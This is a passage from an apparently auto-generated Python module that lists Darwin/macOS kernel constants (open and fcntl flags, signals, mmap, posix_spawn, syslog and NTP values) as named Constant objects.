Constant('PRIO_DARWIN_ROLE_TAL_LAUNCH',0x5) PRIO_DARWIN_ROLE_DARWIN_BG = Constant('PRIO_DARWIN_ROLE_DARWIN_BG',0x6) PRIO_DARWIN_GAME_MODE = Constant('PRIO_DARWIN_GAME_MODE',7) PRIO_DARWIN_CARPLAY_MODE = Constant('PRIO_DARWIN_CARPLAY_MODE',8) PRIO_DARWIN_GAME_MODE_OFF = Constant('PRIO_DARWIN_GAME_MODE_OFF',0x0) PRIO_DARWIN_GAME_MODE_ON = Constant('PRIO_DARWIN_GAME_MODE_ON',0x1) PRIO_DARWIN_CARPLAY_MODE_OFF = Constant('PRIO_DARWIN_CARPLAY_MODE_OFF',0x0) PRIO_DARWIN_CARPLAY_MODE_ON = Constant('PRIO_DARWIN_CARPLAY_MODE_ON',0x1) IOMON_ENABLE = Constant('IOMON_ENABLE',0x01) IOMON_DISABLE = Constant('IOMON_DISABLE',0x02) IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY = Constant('IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY',1) IOPOL_TYPE_VFS_ALTLINK = Constant('IOPOL_TYPE_VFS_ALTLINK',11) IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE = Constant('IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE',12) IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT = Constant('IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT',0) IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE = Constant('IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE',1) IOPOL_VFS_ALTLINK_DISABLED = Constant('IOPOL_VFS_ALTLINK_DISABLED',0) IOPOL_VFS_ALTLINK_ENABLED = Constant('IOPOL_VFS_ALTLINK_ENABLED',1) IOPOL_CMD_GET = Constant('IOPOL_CMD_GET',0x00000001) IOPOL_CMD_SET = Constant('IOPOL_CMD_SET',0x00000002) IPC_CREAT = Constant('IPC_CREAT',0o001000) IPC_EXCL = Constant('IPC_EXCL',0o002000) IPC_NOWAIT = Constant('IPC_NOWAIT',0o004000) IPC_RMID = Constant('IPC_RMID',0) IPC_SET = Constant('IPC_SET',1) IPC_STAT = Constant('IPC_STAT',2) IPC_R = Constant('IPC_R',0o000400) IPC_W = Constant('IPC_W',0o000200) IPC_M = Constant('IPC_M',0o010000) O_RDONLY = Constant('O_RDONLY',0x0000) O_WRONLY = Constant('O_WRONLY',0x0001) O_RDWR = Constant('O_RDWR',0x0002) O_ACCMODE = Constant('O_ACCMODE',0x0003) FREAD = Constant('FREAD',0x00000001) FWRITE = Constant('FWRITE',0x00000002) O_NONBLOCK = Constant('O_NONBLOCK',0x00000004) O_APPEND = Constant('O_APPEND',0x00000008) O_SHLOCK = Constant('O_SHLOCK',0x00000010) O_EXLOCK = Constant('O_EXLOCK',0x00000020) O_ASYNC = Constant('O_ASYNC',0x00000040) O_NOFOLLOW = Constant('O_NOFOLLOW',0x00000100) O_CREAT = Constant('O_CREAT',0x00000200) O_TRUNC = Constant('O_TRUNC',0x00000400) O_EXCL = Constant('O_EXCL',0x00000800) FMARK = Constant('FMARK',0x00001000) FDEFER = Constant('FDEFER',0x00002000) FWASLOCKED = Constant('FWASLOCKED',0x00004000) O_EVTONLY = Constant('O_EVTONLY',0x00008000) FWASWRITTEN = Constant('FWASWRITTEN',0x00010000) O_NOCTTY = Constant('O_NOCTTY',0x00020000) FNOCACHE = Constant('FNOCACHE',0x00040000) FNORDAHEAD = Constant('FNORDAHEAD',0x00080000) O_DIRECTORY = Constant('O_DIRECTORY',0x00100000) O_SYMLINK = Constant('O_SYMLINK',0x00200000) FNODIRECT = Constant('FNODIRECT',0x00800000) O_CLOEXEC = Constant('O_CLOEXEC',0x01000000) FENCRYPTED = Constant('FENCRYPTED',0x02000000) FSINGLE_WRITER = Constant('FSINGLE_WRITER',0x04000000) O_CLOFORK = Constant('O_CLOFORK',0x08000000) FUNENCRYPTED = Constant('FUNENCRYPTED',0x10000000) O_NOFOLLOW_ANY = Constant('O_NOFOLLOW_ANY',0x20000000) O_EXEC = Constant('O_EXEC',0x40000000) AT_EACCESS = Constant('AT_EACCESS',0x0010) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x0020) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x0040) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x0080) AT_REALDEV = Constant('AT_REALDEV',0x0200) AT_FDONLY = Constant('AT_FDONLY',0x0400) AT_SYMLINK_NOFOLLOW_ANY = Constant('AT_SYMLINK_NOFOLLOW_ANY',0x0800) O_DP_GETRAWENCRYPTED = Constant('O_DP_GETRAWENCRYPTED',0x0001) O_DP_GETRAWUNENCRYPTED = Constant('O_DP_GETRAWUNENCRYPTED',0x0002) O_DP_AUTHENTICATE = Constant('O_DP_AUTHENTICATE',0x0004) CPF_OVERWRITE = Constant('CPF_OVERWRITE',0x0001) CPF_IGNORE_MODE = Constant('CPF_IGNORE_MODE',0x0002) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETOWN = Constant('F_GETOWN',5) F_SETOWN = Constant('F_SETOWN',6) F_GETLK = Constant('F_GETLK',7) F_SETLK = Constant('F_SETLK',8) F_SETLKW = Constant('F_SETLKW',9) F_SETLKWTIMEOUT = Constant('F_SETLKWTIMEOUT',10) F_FLUSH_DATA = Constant('F_FLUSH_DATA',40) F_CHKCLEAN = Constant('F_CHKCLEAN',41) F_PREALLOCATE = Constant('F_PREALLOCATE',42) F_SETSIZE = Constant('F_SETSIZE',43) F_RDADVISE = Constant('F_RDADVISE',44) F_RDAHEAD = Constant('F_RDAHEAD',45) F_NOCACHE = Constant('F_NOCACHE',48) F_LOG2PHYS = Constant('F_LOG2PHYS',49) F_GETPATH = Constant('F_GETPATH',50) F_FULLFSYNC = Constant('F_FULLFSYNC',51) F_PATHPKG_CHECK = Constant('F_PATHPKG_CHECK',52) F_FREEZE_FS = Constant('F_FREEZE_FS',53) F_THAW_FS = Constant('F_THAW_FS',54) F_GLOBAL_NOCACHE = Constant('F_GLOBAL_NOCACHE',55) F_ADDSIGS = Constant('F_ADDSIGS',59) F_ADDFILESIGS = Constant('F_ADDFILESIGS',61) F_NODIRECT = Constant('F_NODIRECT',62) F_GETPROTECTIONCLASS = Constant('F_GETPROTECTIONCLASS',63) F_SETPROTECTIONCLASS = Constant('F_SETPROTECTIONCLASS',64) F_LOG2PHYS_EXT = Constant('F_LOG2PHYS_EXT',65) F_GETLKPID = Constant('F_GETLKPID',66) F_SETBACKINGSTORE = Constant('F_SETBACKINGSTORE',70) F_GETPATH_MTMINFO = Constant('F_GETPATH_MTMINFO',71) F_GETCODEDIR = Constant('F_GETCODEDIR',72) F_SETNOSIGPIPE = Constant('F_SETNOSIGPIPE',73) F_GETNOSIGPIPE = Constant('F_GETNOSIGPIPE',74) F_TRANSCODEKEY = Constant('F_TRANSCODEKEY',75) F_SINGLE_WRITER = Constant('F_SINGLE_WRITER',76) F_GETPROTECTIONLEVEL = Constant('F_GETPROTECTIONLEVEL',77) F_FINDSIGS = Constant('F_FINDSIGS',78) F_ADDFILESIGS_FOR_DYLD_SIM = Constant('F_ADDFILESIGS_FOR_DYLD_SIM',83) F_BARRIERFSYNC = Constant('F_BARRIERFSYNC',85) F_OFD_SETLK = Constant('F_OFD_SETLK',90) F_OFD_SETLKW = Constant('F_OFD_SETLKW',91) F_OFD_GETLK = Constant('F_OFD_GETLK',92) F_OFD_SETLKWTIMEOUT = Constant('F_OFD_SETLKWTIMEOUT',93) F_ADDFILESIGS_RETURN = Constant('F_ADDFILESIGS_RETURN',97) F_CHECK_LV = Constant('F_CHECK_LV',98) F_PUNCHHOLE = Constant('F_PUNCHHOLE',99) F_TRIM_ACTIVE_FILE = Constant('F_TRIM_ACTIVE_FILE',100) F_SPECULATIVE_READ = Constant('F_SPECULATIVE_READ',101) F_GETPATH_NOFIRMLINK = Constant('F_GETPATH_NOFIRMLINK',102) F_ADDFILESIGS_INFO = Constant('F_ADDFILESIGS_INFO',103) F_ADDFILESUPPL = Constant('F_ADDFILESUPPL',104) F_GETSIGSINFO = Constant('F_GETSIGSINFO',105) F_SETLEASE = Constant('F_SETLEASE',106) F_GETLEASE = Constant('F_GETLEASE',107) F_TRANSFEREXTENTS = Constant('F_TRANSFEREXTENTS',110) F_ATTRIBUTION_TAG = Constant('F_ATTRIBUTION_TAG',111) F_ADDSIGS_MAIN_BINARY = Constant('F_ADDSIGS_MAIN_BINARY',113) FCNTL_FS_SPECIFIC_BASE = Constant('FCNTL_FS_SPECIFIC_BASE',0x00010000) F_DUPFD_CLOEXEC = Constant('F_DUPFD_CLOEXEC',67) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_WRLCK = Constant('F_WRLCK',3) F_WAIT = Constant('F_WAIT',0x010) F_FLOCK = Constant('F_FLOCK',0x020) F_POSIX = Constant('F_POSIX',0x040) F_PROV = Constant('F_PROV',0x080) F_WAKE1_SAFE = Constant('F_WAKE1_SAFE',0x100) F_ABORT = Constant('F_ABORT',0x200) F_OFD_LOCK = Constant('F_OFD_LOCK',0x400) F_TRANSFER = Constant('F_TRANSFER',0x800) F_CONFINED = Constant('F_CONFINED',0x1000) F_ALLOCATECONTIG = Constant('F_ALLOCATECONTIG',0x00000002) F_ALLOCATEALL = Constant('F_ALLOCATEALL',0x00000004) F_ALLOCATEPERSIST = Constant('F_ALLOCATEPERSIST',0x00000008) F_PEOFPOSMODE = Constant('F_PEOFPOSMODE',3) F_VOLPOSMODE = Constant('F_VOLPOSMODE',4) USER_FSIGNATURES_CDHASH_LEN = Constant('USER_FSIGNATURES_CDHASH_LEN',20) GETSIGSINFO_PLATFORM_BINARY = Constant('GETSIGSINFO_PLATFORM_BINARY',1) LOCK_SH = Constant('LOCK_SH',0x01) LOCK_EX = Constant('LOCK_EX',0x02) LOCK_NB = Constant('LOCK_NB',0x04) LOCK_UN = Constant('LOCK_UN',0x08) ATTRIBUTION_NAME_MAX = Constant('ATTRIBUTION_NAME_MAX',255) F_CREATE_TAG = Constant('F_CREATE_TAG',0x00000001) F_DELETE_TAG = Constant('F_DELETE_TAG',0x00000002) F_QUERY_TAG = Constant('F_QUERY_TAG',0x00000004) O_POPUP = Constant('O_POPUP',0x80000000) O_ALERT = Constant('O_ALERT',0x20000000) S_BLKSIZE = Constant('S_BLKSIZE',512) UF_SETTABLE = Constant('UF_SETTABLE',0x0000ffff) UF_NODUMP = Constant('UF_NODUMP',0x00000001) UF_IMMUTABLE = Constant('UF_IMMUTABLE',0x00000002) UF_APPEND = Constant('UF_APPEND',0x00000004) UF_OPAQUE = Constant('UF_OPAQUE',0x00000008) UF_COMPRESSED = Constant('UF_COMPRESSED',0x00000020) UF_TRACKED = Constant('UF_TRACKED',0x00000040) UF_DATAVAULT = Constant('UF_DATAVAULT',0x00000080) UF_HIDDEN = Constant('UF_HIDDEN',0x00008000) SF_SUPPORTED = Constant('SF_SUPPORTED',0x009f0000) SF_SETTABLE = Constant('SF_SETTABLE',0x3fff0000) SF_SYNTHETIC = Constant('SF_SYNTHETIC',0xc0000000) SF_ARCHIVED = Constant('SF_ARCHIVED',0x00010000) SF_IMMUTABLE = Constant('SF_IMMUTABLE',0x00020000) SF_APPEND = Constant('SF_APPEND',0x00040000) SF_RESTRICTED = Constant('SF_RESTRICTED',0x00080000) SF_NOUNLINK = Constant('SF_NOUNLINK',0x00100000) SF_FIRMLINK = Constant('SF_FIRMLINK',0x00800000) SF_DATALESS = Constant('SF_DATALESS',0x40000000) EF_MAY_SHARE_BLOCKS = Constant('EF_MAY_SHARE_BLOCKS',0x00000001) EF_NO_XATTRS = Constant('EF_NO_XATTRS',0x00000002) EF_IS_SYNC_ROOT = Constant('EF_IS_SYNC_ROOT',0x00000004) EF_IS_PURGEABLE = Constant('EF_IS_PURGEABLE',0x00000008) EF_IS_SPARSE = Constant('EF_IS_SPARSE',0x00000010) EF_IS_SYNTHETIC = Constant('EF_IS_SYNTHETIC',0x00000020) EF_SHARES_ALL_BLOCKS = Constant('EF_SHARES_ALL_BLOCKS',0x00000040) MBUF_COPYALL = Constant('MBUF_COPYALL',1000000000) __DARWIN_NSIG = Constant('__DARWIN_NSIG',32) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGPOLL = Constant('SIGPOLL',7) SIGEMT = Constant('SIGEMT',7) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGBUS = Constant('SIGBUS',10) SIGSEGV = Constant('SIGSEGV',11) SIGSYS = Constant('SIGSYS',12) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGURG = Constant('SIGURG',16) SIGSTOP = Constant('SIGSTOP',17) SIGTSTP = Constant('SIGTSTP',18) SIGCONT = Constant('SIGCONT',19) SIGCHLD = Constant('SIGCHLD',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGIO = Constant('SIGIO',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGINFO = Constant('SIGINFO',29) SIGUSR1 = Constant('SIGUSR1',30) SIGUSR2 = Constant('SIGUSR2',31) SIGEV_NONE = Constant('SIGEV_NONE',0) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',1) SIGEV_THREAD = Constant('SIGEV_THREAD',3) ILL_NOOP = Constant('ILL_NOOP',0) ILL_ILLOPC = Constant('ILL_ILLOPC',1) ILL_ILLTRP = Constant('ILL_ILLTRP',2) ILL_PRVOPC = Constant('ILL_PRVOPC',3) ILL_ILLOPN = Constant('ILL_ILLOPN',4) ILL_ILLADR = Constant('ILL_ILLADR',5) ILL_PRVREG = Constant('ILL_PRVREG',6) ILL_COPROC = Constant('ILL_COPROC',7) ILL_BADSTK = Constant('ILL_BADSTK',8) FPE_NOOP = Constant('FPE_NOOP',0) FPE_FLTDIV = Constant('FPE_FLTDIV',1) FPE_FLTOVF = Constant('FPE_FLTOVF',2) FPE_FLTUND = Constant('FPE_FLTUND',3) FPE_FLTRES = Constant('FPE_FLTRES',4) FPE_FLTINV = Constant('FPE_FLTINV',5) FPE_FLTSUB = Constant('FPE_FLTSUB',6) FPE_INTDIV = Constant('FPE_INTDIV',7) FPE_INTOVF = Constant('FPE_INTOVF',8) SEGV_NOOP = Constant('SEGV_NOOP',0) SEGV_MAPERR = Constant('SEGV_MAPERR',1) SEGV_ACCERR = Constant('SEGV_ACCERR',2) BUS_NOOP = Constant('BUS_NOOP',0) BUS_ADRALN = Constant('BUS_ADRALN',1) BUS_ADRERR = Constant('BUS_ADRERR',2) BUS_OBJERR = Constant('BUS_OBJERR',3) TRAP_BRKPT = Constant('TRAP_BRKPT',1) TRAP_TRACE = Constant('TRAP_TRACE',2) CLD_NOOP = Constant('CLD_NOOP',0) CLD_EXITED = Constant('CLD_EXITED',1) CLD_KILLED = Constant('CLD_KILLED',2) CLD_DUMPED = Constant('CLD_DUMPED',3) CLD_TRAPPED = Constant('CLD_TRAPPED',4) CLD_STOPPED = Constant('CLD_STOPPED',5) CLD_CONTINUED = Constant('CLD_CONTINUED',6) POLL_IN = Constant('POLL_IN',1) POLL_OUT = Constant('POLL_OUT',2) POLL_MSG = Constant('POLL_MSG',3) POLL_ERR = Constant('POLL_ERR',4) POLL_PRI = Constant('POLL_PRI',5) POLL_HUP = Constant('POLL_HUP',6) SA_ONSTACK = Constant('SA_ONSTACK',0x0001) SA_RESTART = Constant('SA_RESTART',0x0002) SA_RESETHAND = Constant('SA_RESETHAND',0x0004) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x0008) SA_NODEFER = Constant('SA_NODEFER',0x0010) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x0020) SA_SIGINFO = Constant('SA_SIGINFO',0x0040) SA_USERTRAMP = Constant('SA_USERTRAMP',0x0100) SA_64REGSET = Constant('SA_64REGSET',0x0200) SIG_BLOCK = Constant('SIG_BLOCK',1) SIG_UNBLOCK = Constant('SIG_UNBLOCK',2) SIG_SETMASK = Constant('SIG_SETMASK',3) SI_USER = Constant('SI_USER',0x10001) SI_QUEUE = Constant('SI_QUEUE',0x10002) SI_TIMER = Constant('SI_TIMER',0x10003) SI_ASYNCIO = Constant('SI_ASYNCIO',0x10004) SI_MESGQ = Constant('SI_MESGQ',0x10005) SS_ONSTACK = Constant('SS_ONSTACK',0x0001) SS_DISABLE = Constant('SS_DISABLE',0x0004) MINSIGSTKSZ = Constant('MINSIGSTKSZ',32768) SIGSTKSZ = Constant('SIGSTKSZ',131072) __DARWIN_MAXNAMLEN = Constant('__DARWIN_MAXNAMLEN',255) __DARWIN_MAXPATHLEN = Constant('__DARWIN_MAXPATHLEN',1024) DT_UNKNOWN = Constant('DT_UNKNOWN',0) DT_FIFO = Constant('DT_FIFO',1) DT_CHR = Constant('DT_CHR',2) DT_DIR = Constant('DT_DIR',4) DT_BLK = Constant('DT_BLK',6) DT_REG = Constant('DT_REG',8) DT_LNK = Constant('DT_LNK',10) DT_SOCK = Constant('DT_SOCK',12) DT_WHT = Constant('DT_WHT',14) POSIX_SPAWN_RESETIDS = Constant('POSIX_SPAWN_RESETIDS',0x0001) POSIX_SPAWN_SETPGROUP = Constant('POSIX_SPAWN_SETPGROUP',0x0002) POSIX_SPAWN_SETSIGDEF = Constant('POSIX_SPAWN_SETSIGDEF',0x0004) POSIX_SPAWN_SETSIGMASK = Constant('POSIX_SPAWN_SETSIGMASK',0x0008) POSIX_SPAWN_SETSCHEDPARAM = Constant('POSIX_SPAWN_SETSCHEDPARAM',0x0010) POSIX_SPAWN_SETSCHEDULER = Constant('POSIX_SPAWN_SETSCHEDULER',0x0020) POSIX_SPAWN_SETEXEC = Constant('POSIX_SPAWN_SETEXEC',0x0040) POSIX_SPAWN_START_SUSPENDED = Constant('POSIX_SPAWN_START_SUSPENDED',0x0080) POSIX_SPAWN_SETSID = Constant('POSIX_SPAWN_SETSID',0x0400) POSIX_SPAWN_CLOEXEC_DEFAULT = Constant('POSIX_SPAWN_CLOEXEC_DEFAULT',0x4000) _POSIX_SPAWN_RESLIDE = Constant('_POSIX_SPAWN_RESLIDE',0x0800) POSIX_SPAWN_PCONTROL_NONE = Constant('POSIX_SPAWN_PCONTROL_NONE',0x0000) POSIX_SPAWN_PCONTROL_THROTTLE = Constant('POSIX_SPAWN_PCONTROL_THROTTLE',0x0001) POSIX_SPAWN_PCONTROL_SUSPEND = Constant('POSIX_SPAWN_PCONTROL_SUSPEND',0x0002) POSIX_SPAWN_PCONTROL_KILL = Constant('POSIX_SPAWN_PCONTROL_KILL',0x0003) POSIX_SPAWN_PANIC_ON_CRASH = Constant('POSIX_SPAWN_PANIC_ON_CRASH',0x1) POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT = Constant('POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT',0x2) POSIX_SPAWN_PANIC_ON_EXIT = Constant('POSIX_SPAWN_PANIC_ON_EXIT',0x4) POSIX_SPAWN_PANIC_ON_SPAWN_FAIL = Constant('POSIX_SPAWN_PANIC_ON_SPAWN_FAIL',0x8) PROT_NONE = Constant('PROT_NONE',0x00) PROT_READ = Constant('PROT_READ',0x01) PROT_WRITE = Constant('PROT_WRITE',0x02) PROT_EXEC = Constant('PROT_EXEC',0x04) MAP_SHARED = Constant('MAP_SHARED',0x0001) MAP_PRIVATE = Constant('MAP_PRIVATE',0x0002) MAP_FIXED = Constant('MAP_FIXED',0x0010) MAP_RENAME = Constant('MAP_RENAME',0x0020) MAP_NORESERVE = Constant('MAP_NORESERVE',0x0040) MAP_RESERVED0080 = Constant('MAP_RESERVED0080',0x0080) MAP_NOEXTEND = Constant('MAP_NOEXTEND',0x0100) MAP_HASSEMAPHORE = Constant('MAP_HASSEMAPHORE',0x0200) MAP_NOCACHE = Constant('MAP_NOCACHE',0x0400) MAP_JIT = Constant('MAP_JIT',0x0800) MAP_FILE = Constant('MAP_FILE',0x0000) MAP_ANON = Constant('MAP_ANON',0x1000) MAP_RESILIENT_CODESIGN = Constant('MAP_RESILIENT_CODESIGN',0x2000) MAP_RESILIENT_MEDIA = Constant('MAP_RESILIENT_MEDIA',0x4000) MAP_32BIT = Constant('MAP_32BIT',0x8000) MAP_TRANSLATED_ALLOW_EXECUTE = Constant('MAP_TRANSLATED_ALLOW_EXECUTE',0x20000) MAP_UNIX03 = Constant('MAP_UNIX03',0x40000) MAP_TPRO = Constant('MAP_TPRO',0x80000) MCL_CURRENT = Constant('MCL_CURRENT',0x0001) MCL_FUTURE = Constant('MCL_FUTURE',0x0002) MS_ASYNC = Constant('MS_ASYNC',0x0001) MS_INVALIDATE = Constant('MS_INVALIDATE',0x0002) MS_SYNC = Constant('MS_SYNC',0x0010) MS_KILLPAGES = Constant('MS_KILLPAGES',0x0004) MS_DEACTIVATE = Constant('MS_DEACTIVATE',0x0008) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',1) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',2) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',4) MADV_FREE = Constant('MADV_FREE',5) MADV_ZERO_WIRED_PAGES = Constant('MADV_ZERO_WIRED_PAGES',6) MADV_FREE_REUSABLE = Constant('MADV_FREE_REUSABLE',7) MADV_FREE_REUSE = Constant('MADV_FREE_REUSE',8) MADV_CAN_REUSE = Constant('MADV_CAN_REUSE',9) MADV_PAGEOUT = Constant('MADV_PAGEOUT',10) MADV_ZERO = Constant('MADV_ZERO',11) MINCORE_INCORE = Constant('MINCORE_INCORE',0x1) MINCORE_REFERENCED = Constant('MINCORE_REFERENCED',0x2) MINCORE_MODIFIED = Constant('MINCORE_MODIFIED',0x4) MINCORE_REFERENCED_OTHER = Constant('MINCORE_REFERENCED_OTHER',0x8) MINCORE_MODIFIED_OTHER = Constant('MINCORE_MODIFIED_OTHER',0x10) MINCORE_PAGED_OUT = Constant('MINCORE_PAGED_OUT',0x20) MINCORE_COPIED = Constant('MINCORE_COPIED',0x40) MINCORE_ANONYMOUS = Constant('MINCORE_ANONYMOUS',0x80) B_WRITE = Constant('B_WRITE',0x00000000) B_READ = Constant('B_READ',0x00000001) B_ASYNC = Constant('B_ASYNC',0x00000002) B_NOCACHE = Constant('B_NOCACHE',0x00000004) B_DELWRI = Constant('B_DELWRI',0x00000008) B_LOCKED = Constant('B_LOCKED',0x00000010) B_PHYS = Constant('B_PHYS',0x00000020) B_CLUSTER = Constant('B_CLUSTER',0x00000040) B_PAGEIO = Constant('B_PAGEIO',0x00000080) B_META = Constant('B_META',0x00000100) B_RAW = Constant('B_RAW',0x00000200) B_FUA = Constant('B_FUA',0x00000400) B_PASSIVE = Constant('B_PASSIVE',0x00000800) B_IOSTREAMING = Constant('B_IOSTREAMING',0x00001000) B_THROTTLED_IO = Constant('B_THROTTLED_IO',0x00002000) B_ENCRYPTED_IO = Constant('B_ENCRYPTED_IO',0x00004000) B_STATICCONTENT = Constant('B_STATICCONTENT',0x00008000) BUF_WAIT = Constant('BUF_WAIT',0x01) BUF_WRITE_DATA = Constant('BUF_WRITE_DATA',0x0001) BUF_SKIP_META = Constant('BUF_SKIP_META',0x0002) BUF_INVALIDATE_LOCKED = Constant('BUF_INVALIDATE_LOCKED',0x0004) BUF_SKIP_NONLOCKED = Constant('BUF_SKIP_NONLOCKED',0x01) BUF_SKIP_LOCKED = Constant('BUF_SKIP_LOCKED',0x02) BUF_SCAN_CLEAN = Constant('BUF_SCAN_CLEAN',0x04) BUF_SCAN_DIRTY = Constant('BUF_SCAN_DIRTY',0x08) BUF_NOTIFY_BUSY = Constant('BUF_NOTIFY_BUSY',0x10) BUF_RETURNED = Constant('BUF_RETURNED',0) BUF_RETURNED_DONE = Constant('BUF_RETURNED_DONE',1) BUF_CLAIMED = Constant('BUF_CLAIMED',2) BUF_CLAIMED_DONE = Constant('BUF_CLAIMED_DONE',3) BLK_READ = Constant('BLK_READ',0x01) BLK_WRITE = Constant('BLK_WRITE',0x02) BLK_META = Constant('BLK_META',0x10) BLK_ONLYVALID = Constant('BLK_ONLYVALID',0x80000000) LOG_EMERG = Constant('LOG_EMERG',0) LOG_ALERT = Constant('LOG_ALERT',1) LOG_CRIT = Constant('LOG_CRIT',2) LOG_ERR = Constant('LOG_ERR',3) LOG_WARNING = Constant('LOG_WARNING',4) LOG_NOTICE = Constant('LOG_NOTICE',5) LOG_INFO = Constant('LOG_INFO',6) LOG_DEBUG = Constant('LOG_DEBUG',7) LOG_PRIMASK = Constant('LOG_PRIMASK',0x07) INTERNAL_NOPRI = Constant('INTERNAL_NOPRI',0x10) LOG_NFACILITIES = Constant('LOG_NFACILITIES',25) LOG_FACMASK = Constant('LOG_FACMASK',0x03f8) LOG_PID = Constant('LOG_PID',0x01) LOG_CONS = Constant('LOG_CONS',0x02) LOG_ODELAY = Constant('LOG_ODELAY',0x04) LOG_NDELAY = Constant('LOG_NDELAY',0x08) LOG_NOWAIT = Constant('LOG_NOWAIT',0x10) LOG_PERROR = Constant('LOG_PERROR',0x20) CRF_NOMEMBERD = Constant('CRF_NOMEMBERD',0x00000001) CRF_MAC_ENFORCE = Constant('CRF_MAC_ENFORCE',0x00000002) XUCRED_VERSION = Constant('XUCRED_VERSION',0) DK_FEATURE_BARRIER = Constant('DK_FEATURE_BARRIER',0x00000002) DK_FEATURE_PRIORITY = Constant('DK_FEATURE_PRIORITY',0x00000004) DK_FEATURE_UNMAP = Constant('DK_FEATURE_UNMAP',0x00000010) DK_SYNCHRONIZE_OPTION_BARRIER = Constant('DK_SYNCHRONIZE_OPTION_BARRIER',0x00000002) DK_CORESTORAGE_PIN_YOUR_METADATA = Constant('DK_CORESTORAGE_PIN_YOUR_METADATA',0x00000001) DK_CORESTORAGE_ENABLE_HOTFILES = Constant('DK_CORESTORAGE_ENABLE_HOTFILES',0x00000002) DK_CORESTORAGE_PIN_YOUR_SWAPFILE = Constant('DK_CORESTORAGE_PIN_YOUR_SWAPFILE',0x00000004) DK_PROVISION_TYPE_MAPPED = Constant('DK_PROVISION_TYPE_MAPPED',0x00) DK_PROVISION_TYPE_DEALLOCATED = Constant('DK_PROVISION_TYPE_DEALLOCATED',0x01) DK_PROVISION_TYPE_ANCHORED = Constant('DK_PROVISION_TYPE_ANCHORED',0x02) DK_LOCATION_INTERNAL = Constant('DK_LOCATION_INTERNAL',0x00000000) DK_LOCATION_EXTERNAL = Constant('DK_LOCATION_EXTERNAL',0x00000001) DK_FEATURE_FORCE_UNIT_ACCESS = Constant('DK_FEATURE_FORCE_UNIT_ACCESS',0x00000001) DK_ENCRYPTION_TYPE_AES_CBC = Constant('DK_ENCRYPTION_TYPE_AES_CBC',1) DK_ENCRYPTION_TYPE_AES_XEX = Constant('DK_ENCRYPTION_TYPE_AES_XEX',2) DK_ENCRYPTION_TYPE_AES_XTS = Constant('DK_ENCRYPTION_TYPE_AES_XTS',3) DK_TIER_MASK = Constant('DK_TIER_MASK',0xC0) DK_TIER_SHIFT = Constant('DK_TIER_SHIFT',6) SOL_LOCAL = Constant('SOL_LOCAL',0) LOCAL_PEERCRED = Constant('LOCAL_PEERCRED',0x001) LOCAL_PEERPID = Constant('LOCAL_PEERPID',0x002) LOCAL_PEEREPID = Constant('LOCAL_PEEREPID',0x003) LOCAL_PEERUUID = Constant('LOCAL_PEERUUID',0x004) LOCAL_PEEREUUID = Constant('LOCAL_PEEREUUID',0x005) LOCAL_PEERTOKEN = Constant('LOCAL_PEERTOKEN',0x006) _SYS_TIMEX_H_ = Constant('_SYS_TIMEX_H_',1) NTP_API = Constant('NTP_API',4) MINSEC = Constant('MINSEC',256) MAXSEC = Constant('MAXSEC',2048) MAXTC = Constant('MAXTC',10) MOD_OFFSET = Constant('MOD_OFFSET',0x0001) MOD_FREQUENCY = Constant('MOD_FREQUENCY',0x0002) MOD_MAXERROR = Constant('MOD_MAXERROR',0x0004) MOD_ESTERROR = Constant('MOD_ESTERROR',0x0008) MOD_STATUS = Constant('MOD_STATUS',0x0010) MOD_TIMECONST = Constant('MOD_TIMECONST',0x0020) MOD_PPSMAX = Constant('MOD_PPSMAX',0x0040) MOD_TAI = Constant('MOD_TAI',0x0080) MOD_MICRO = Constant('MOD_MICRO',0x1000) MOD_NANO = Constant('MOD_NANO',0x2000) MOD_CLKB = Constant('MOD_CLKB',0x4000) MOD_CLKA = Constant('MOD_CLKA',0x8000) STA_PLL = Constant('STA_PLL',0x0001) STA_PPSFREQ = Constant('STA_PPSFREQ',0x0002) STA_PPSTIME = Constant('STA_PPSTIME',0x0004) STA_FLL = Constant('STA_FLL',0x0008) STA_INS = Constant('STA_INS',0x0010) STA_DEL = Constant('STA_DEL',0x0020) STA_UNSYNC = Constant('STA_UNSYNC',0x0040) STA_FREQHOLD = Constant('STA_FREQHOLD',0x0080) 